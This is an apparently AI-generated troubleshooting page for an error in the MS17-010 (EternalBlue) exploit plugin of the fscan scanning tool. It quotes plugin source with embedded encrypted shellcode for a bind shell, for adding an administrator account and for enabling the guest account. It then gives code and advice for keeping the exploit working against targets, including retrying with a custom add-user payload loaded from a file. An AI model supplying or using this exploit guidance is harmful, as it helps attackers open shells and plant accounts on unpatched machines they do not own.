shadow1ng/fscan · error

ms17010_add_shellcode_decrypt_failed: %w

Error message

ms17010_add_shellcode_decrypt_failed: %w

What it means

This error is returned by executeMS17010Exploit (invoked via Exploit) when the built-in encrypted add-administrator-account shellcode fails AES decryption via aesDecrypt(scEnc, defaultKey). The payload is an embedded base64 ciphertext tied to a hard-coded defaultKey; decryption failure means the ciphertext or key is corrupted, truncated, or mismatched. The exploit returns immediately without sending any payload to the target.

Source

Thrown at plugins/services/ms17010.go:432

	// 根据不同类型选择shellcode (从MS17010-Exp.go复制)
	switch config.Shellcode {
	case "bind":
		// Bind Shell shellcode (加密)
		scEnc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err)
		}

	case "add":
		// 添加管理员账户 shellcode (加密)
		scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xOs7UApLzuCcE52FhTIjY+ckzBVinUHHwwc4QyY6Xo/15ATcQoL7ZiQgii3xFhrJQGnHgQBsmqT/0A1YBa+rrvIIzblF3FDRlXwAvUVTKnCjDJV9NeiS78jgtx6TNlBDyKCy29E3WGbMKSMH2a+dmtjBhmJ94O8GnbrHyd5c8zxsNXRBaYBV/tVyB9TDtM9kZk5QTit+xN2wOUwFa9cNbpYak8VH552mu7KISA1dUPAMQm9kF5vDRTRxjVLqpqHOc+36lNi6AWrGQkXNKcZJclmO7RotKdtPtCayNGV7/pznvewyGgEYvRKprmzf6hl+9acZmnyQZvlueWeqf+I6axiCyHqfaI+ADmz4RyJOlOC5s1Ds6uyNs+zUXCz7ty4rU3hCD8N6v2UagBJaP66XCiLOL+wcx6NJfBy40dWTq9RM0a6b448q3/mXZvdwzj1Evlcu5tDJHMdl+R2Q0a/1nahzsZ6UMJb9GAvMSUfeL9Cba77Hb5ZU40tyTQPl28cRedhwiISDq5UQsTRw35Z7bDAxJvPHiaC4hvfW3gA0iqPpkqcRfPEV7d+ylSTV1Mm9+NCS1Pn5VDIIjlClhlRf5l+4rCmeIPxQvVD/CPBM0NJ6y1oTzAGFN43kYqMV8neRAazACczYqziQ6VgjATzp0k8"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err)
		}

	case "guest":
		// 激活Guest账户 shellcode (加密)
		scEnc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
		var err error
		sc, err = aesDecrypt(scEnc, defaultKey)
		if err != nil {
			return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err)
		}

	case "cs":
		sc = ""

	default:
		// 从文件读取或直接使用提供的shellcode
		shellcode := config.Shellcode
		if strings.Contains(shellcode, "file:") {

View on GitHub (pinned to 95cc12e753)

Solutions

  1. Rebuild or re-download the plugin from the official unmodified source so scEnc and defaultKey match again.
  2. Verify defaultKey is 16/24/32 bytes and unchanged; inspect the wrapped %w error to distinguish base64 corruption ('illegal base64 data') from key-size problems ('crypto/aes: invalid key size').
  3. Do not hand-edit the embedded ciphertext; to use a custom add-user payload, supply it via the default branch (raw shellcode or "file:<path>") instead.
  4. If decrypting reproducibly fails in one environment only, check for build-time string mangling (minifiers, asset transformers) in your toolchain.

Example fix

// before (custom payload in encrypted slot)
case "add":
    scEnc = myOwnCiphertext // decrypts with defaultKey -> fails
// after
default:
    shellcode := config.Shellcode // raw hex or "file:/path/to/shellcode.bin"
Defensive patterns

Strategy: fallback

Validate before calling

// pre-flight: verify add-user payload decrypts before targeting hosts
if _, err := aesDecrypt(addShellcodeEnc, defaultKey); err != nil {
    log.Printf("add-admin shellcode unavailable: %v", err)
}

Type guard

func canUseAddShellcode() bool {
    _, err := aesDecrypt(addShellcodeEnc, defaultKey)
    return err == nil
}

Try / catch

if err := Exploit(target, "add"); err != nil {
    if strings.Contains(err.Error(), "ms17010_add_shellcode_decrypt_failed") {
        err = Exploit(target, "file:/opt/payloads/adduser.bin")
    }
    if err != nil { log.Printf("exploit failed: %v", err) }
}

Prevention

When it happens

Trigger: Calling Exploit with the shellcode type set to "add" when aesDecrypt fails — base64 decode error on scEnc, ciphertext not a multiple of the AES block size, wrong key size for defaultKey, or key/ciphertext mismatch after build tampering.

Common situations: Modified or repackaged binaries with an altered key or mangled string literal; truncated long base64 literals from copy/paste or code generation in custom forks; builds where defaultKey was intentionally replaced for private payloads.

Understand the failure class

Background: Checksum mismatch errors: "checksum verification failed", "digest mismatch", "expected vs actual checksum" — what they mean and how to fix them — this error's family across 41 libraries.

Related errors

AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06). Data as JSON: /api/errors/b10b8ab85ae70d24. Report an issue: GitHub.